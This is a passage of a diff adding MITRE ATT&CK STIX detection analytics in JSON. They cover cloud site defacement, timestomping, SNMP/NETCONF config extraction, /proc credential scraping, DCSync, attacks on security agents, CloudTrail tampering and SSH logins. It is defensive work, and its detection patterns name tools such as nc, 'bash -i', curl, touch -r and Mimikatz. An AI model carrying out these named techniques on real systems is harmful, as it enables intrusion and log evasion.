"channel": "loginwindow or sshd events with external IP" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "web_root_dir", + "description": "May include ~/Sites or custom Apache paths" + }, + { + "field": "editor_name", + "description": "Text editor or script modifying the files may vary (e.g., nano, VS Code)" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--afd585f3-20fa-4bd8-8930-243cb5dbe5f8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0590#AN1625", + "external_id": "AN1625" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1625", + "description": "Adversary modifies content in cloud-hosted websites (e.g., AWS S3-backed, Azure Blob-hosted sites) by gaining access to management consoles or APIs and uploading altered HTML/JS files.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "AWS:CloudTrail", + "channel": "PutObject" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--fcc4811f-9cc8-4db5-8097-4d8242a380de", + "name": "AWS:CloudTrail", + "channel": "ListBuckets" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--58ef998c-f3bf-4985-b487-b1005f5c05d1", + "name": "AWS:CloudTrail", + "channel": "GetObject" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "bucket_name", + "description": "Website bucket name varies per org" + }, + { + "field": "region", + "description": "Adversary may target multi-region failover setups" + }, + { + "field": "IAMRole", + "description": "Attack may leverage stolen cross-account roles or elevated policies" + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--475a8817-1ace-4bef-baaa-0f56979eb85a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0591#AN1626", + "external_id": "AN1626" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1626", + "description": "Detects attempts to modify file timestamps via API usage (e.g., `SetFileTime`), CLI tools (e.g., `w32tm`, PowerShell), or double-timestomp behavior where $SI and $FN timestamps are mismatched or reverted.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=15 " + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "EDR:file", + "channel": "SetFileTime" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlate timestamp change with preceding file creation or suspicious access" + }, + { + "field": "APINamePattern", + "description": "Include SetFileTime, NtSetInformationFile, or other timestamp APIs" + }, + { + "field": "TimestampDeltaThreshold", + "description": "Trigger on excessive backdating (e.g., >90 days)" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--632f7aef-f848-4147-95fa-2052bd373576", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0591#AN1627", + "external_id": "AN1627" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1627", + "description": "Detects use of timestamp-altering commands like `touch -a -m -t` or `touch -r`, particularly when executed by unusual users or in suspicious directories.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "linux:osquery", + "channel": "file_events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredCommandList", + "description": "Commands like `touch -r`, `debugfs`, `stat` used in sequence" + }, + { + "field": "FilePathRegex", + "description": "Suspicious paths like `/tmp/`, `/var/lib/`, `/mnt/esxi/`" + }, + { + "field": "DeltaThreshold", + "description": "Mismatch between timestamp and file activity time" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--097ce8cb-9a38-4c8a-836c-cee15ccdf258", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0591#AN1628", + "external_id": "AN1628" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1628", + "description": "Detects timestamp changes using `touch`, `SetFile`, or direct metadata tampering (e.g., xattr manipulation) from Terminal, scripts, or low-level APIs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "log stream --predicate" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "macos:osquery", + "channel": "file_events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandMatch", + "description": "Touch/setfile and backdated timestamps" + }, + { + "field": "UserContext", + "description": "Detects execution under non-interactive/system accounts" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1c3cb010-1c22-40c8-92d3-52e31353ad92", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0591#AN1629", + "external_id": "AN1629" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1629", + "description": "Detects abuse of busybox commands (e.g., `touch`) or log timestamp tampering during backdoor persistence or evasion.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "esxi:vmkernel", + "channel": "/var/log/vmkernel.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimestampAgeComparison", + "description": "Unusual backdating to match legit files" + }, + { + "field": "PersistenceOverlap", + "description": "Overlap with known persistence paths" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c5544183-4868-4a5c-ad8c-8a9359358298", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0592#AN1630", + "external_id": "AN1630" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1630", + "description": "Defenders may observe adversary attempts to extract configuration data from management repositories by monitoring for anomalous SNMP queries, API calls, or protocol requests (e.g., NETCONF, RESTCONF) that enumerate system configuration. Suspicious sequences include repeated queries from untrusted IPs, abnormal query types requesting sensitive configuration data, or repository access occurring outside of normal administrative maintenance windows. Abnormal authentication attempts, sudden enumeration of device inventory, or bulk data transfer of configuration files may also be observed.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "NSM:Flow", + "channel": "Unexpected or unauthorized inbound connections to SNMP, NETCONF, or RESTCONF services" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "networkdevice:syslog", + "channel": "Authentication failures or unusual community string usage in SNMP queries" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AuthorizedAdminIPs", + "description": "Expected IP ranges or hosts permitted to query configuration repositories; deviations may indicate compromise." + }, + { + "field": "NormalAccessTimeWindow", + "description": "Time periods when configuration queries normally occur; anomalies outside these windows may be suspicious." + }, + { + "field": "QueryVolumeThreshold", + "description": "Number of queries allowed within a given period before an anomaly is triggered." + }, + { + "field": "ProtocolUsageBaseline", + "description": "Expected usage of SNMP, NETCONF, or RESTCONF; deviations from baseline patterns may indicate misuse." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--98b71f96-ae0a-47b4-bec2-156cb6e5bfcb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0593#AN1631", + "external_id": "AN1631" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1631", + "description": "Monitoring adversary access to sensitive process memory via the /proc filesystem to extract credential material, often involving multi-step access to /proc/[pid]/mem or /proc/[pid]/maps combined with privilege escalation or credential scraping binaries.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open, read" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "write" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "auditd:SYSCALL", + "channel": "ptrace or process_vm_readv" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "linux:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AccessedFilePath", + "description": "Monitored paths such as /proc/[pid]/mem or /proc/[pid]/maps may need to be scoped based on environment" + }, + { + "field": "ProcessName", + "description": "Command-line or binary names associated with credential scraping tools may vary" + }, + { + "field": "UserContext", + "description": "Elevated user or unexpected user context accessing other process memory may indicate malicious activity" + }, + { + "field": "TimeWindow", + "description": "Correlating memory access with process creation or ptrace activity within a specific time range" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9a68f1a7-65f0-4eef-a711-888bccbeb0d5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0594#AN1632", + "external_id": "AN1632" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1632", + "description": "Detects unauthorized invocation of replication operations (DCSync) via Directory Replication Service (DRS), often executed by threat actors using Mimikatz or similar tools from non-DC endpoints.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5c6de881-bc70-4070-855a-7a9631a407f7", + "name": "WinEventLog:Security", + "channel": "EventCode=4662" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9085a576-636a-455b-91d2-c2921bbe6d1d", + "name": "WinEventLog:DirectoryService", + "channel": "EventCode=4929" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Content", + "channel": "Traffic on RPC DRSUAPI" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Defines the correlation window for unusual account access followed by DRSUAPI traffic." + }, + { + "field": "UserContext", + "description": "Allows tuning for specific accounts known to legitimately request replication." + }, + { + "field": "SourceIP", + "description": "Expected replication should only come from known DCs; this field allows excluding trusted DCs." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e5b0fcab-05e5-4687-a1a9-dd382a19980b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0595#AN1633", + "external_id": "AN1633" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1633", + "description": "Detects exploitation attempts targeting defensive security software or OS services. Defender observation includes abnormal process behavior (e.g., AV or EDR crashing unexpectedly), unsigned/untrusted modules loaded into defensive processes, or privilege escalation from security agent services. Multi-event correlation ties exploitation attempts to subsequent evasive behavior like service termination or missing logs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DefensiveProcessList", + "description": "List of defensive services/processes (e.g., AV, EDR) monitored in the environment." + }, + { + "field": "AllowedModulePaths", + "description": "Whitelisted DLL/module paths normally loaded by defensive tools." + }, + { + "field": "CrashThreshold", + "description": "Number of abnormal terminations of defensive processes tolerated before triggering an alert." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ecf26d05-48ef-43b2-bfc3-4ea331be735b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0595#AN1634", + "external_id": "AN1634" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1634", + "description": "Detects kernel- or user-space exploitation attempts targeting auditd, AV daemons, or security monitoring agents. Defender observation includes unexpected segfaults, privilege escalation attempts from low-privileged processes, or modifications to security binaries. Correlates exploitation attempts with subsequent gaps in logging or terminated processes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve: Execution of suspicious exploit binaries targeting security daemons" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "linux:syslog", + "channel": "Segfaults, kernel oops, or crashes in security software processes" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "WatchedBinaries", + "description": "List of critical security daemons (e.g., auditd, falco, AV agents) to monitor for exploitation." + }, + { + "field": "CrashPatterns", + "description": "Regex or patterns for kernel/syslog errors correlated with exploitation attempts." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--88d9dbea-cc85-4c94-a368-e5c1a603854b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0595#AN1635", + "external_id": "AN1635" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1635", + "description": "Detects exploitation of macOS security and integrity services, such as Gatekeeper, XProtect, or EDR agents. Defender observations include unsigned processes attempting privileged operations, abnormal termination of security daemons, or modification of system integrity logs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "macos:unifiedlog", + "channel": "Abnormal terminations of com.apple.security.* or 3rd-party security daemons" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "execve: Unsigned or unnotarized processes launched with high privileges" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SecurityDaemons", + "description": "Monitored Apple and third-party EDR/AV daemon names." + }, + { + "field": "UnsignedProcessThreshold", + "description": "Number of unsigned high-privilege executions before alerting." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--458038e6-60a2-47d2-bd55-675e77f0e279", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0595#AN1636", + "external_id": "AN1636" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1636", + "description": "Detects exploitation of IaaS cloud security boundaries to evade defense controls. Defender perspective includes anomalous API calls that bypass audit logging, disable monitoring, or manipulate guardrails (e.g., CloudTrail tampering). Correlation highlights when exploitation attempts precede sudden absence of expected telemetry.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "AWS:CloudTrail", + "channel": "StopLogging, DeleteTrail, UpdateTrail: API calls that disable or modify logging services" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CriticalAPIs", + "description": "List of sensitive cloud API operations that should be rare and tightly monitored." + }, + { + "field": "TimeWindow", + "description": "Duration for correlation of API exploitation with sudden logging gaps." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--77c3b78a-fb34-4040-9dda-057e8eca3362", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0595#AN1637", + "external_id": "AN1637" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1637", + "description": "Detects adversary abuse of SaaS platform vulnerabilities to bypass logging, monitoring, or consent boundaries. Defender perspective focuses on abnormal application integration events, missing audit logs, or API calls from unauthorized service principals that align with exploitation attempts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:unified", + "channel": "ApplicationModified, ConsentGranted: Unexpected app consent or modification events linked to security evasion" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredApps", + "description": "Applications and integrations expected in the environment; deviations may be suspect." + }, + { + "field": "ConsentAnomalyThreshold", + "description": "Threshold for anomalous OAuth or app consent events before flagging exploitation." + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--bcc6bec5-63c7-4084-9d2f-da8b58d0f621", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0596#AN1638", + "external_id": "AN1638" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1638", + "description": "SSH login from a remote system (via sshd), followed by user context execution of suspicious binaries or privilege escalation behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:EXECVE", + "channel": "EXECVE" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "linux:syslog", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "TCP port 22 traffic" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Defines correlation window from login to first post-SSH process (e.g., 60s)" + }, + { + "field": "SuspiciousProcessList", + "description": "List of binaries considered unusual in SSH context (e.g., nc, base64, bash -i)" + }, + { + "field": "UsernameFilter", + "description": "Accounts of interest for SSH logins (e.g., root, admin)" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9c8ba5cd-40db-4214-8db1-b03b2d7b1690", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0596#AN1639", + "external_id": "AN1639" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1639", + "description": "SSH login detected via Unified Logs, followed by unusual process execution, especially outside normal user behavior patterns.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "macos:unifiedlog", + "channel": "process = 'sshd'" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "macos:unifiedlog", + "channel": "process = 'ssh' OR eventMessage CONTAINS 'ssh'" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "process_events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Time range to correlate post-SSH activities (e.g., 45s)" + }, + { + "field": "UserContext", + "description": "Define authorized users to reduce false positives" + }, + { + "field": "CommandLineKeywords", + "description": "Suspicious terms like reverse shells, base64, curl" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1b6eaec8-141f-44f8-ae1f-387c44635c38", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0596#AN1640", + "external_id": "AN1640" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1640", + "description": "SSH login via hostd or `/var/log/auth.log`, followed by CLI access to host shell or file manipulation in restricted areas.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "esxi:auth", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:shell", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "esxi:vmkernel", + "channel": "port 22 access" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedUsers", + "description": "Legitimate SSH users to this host" + }, 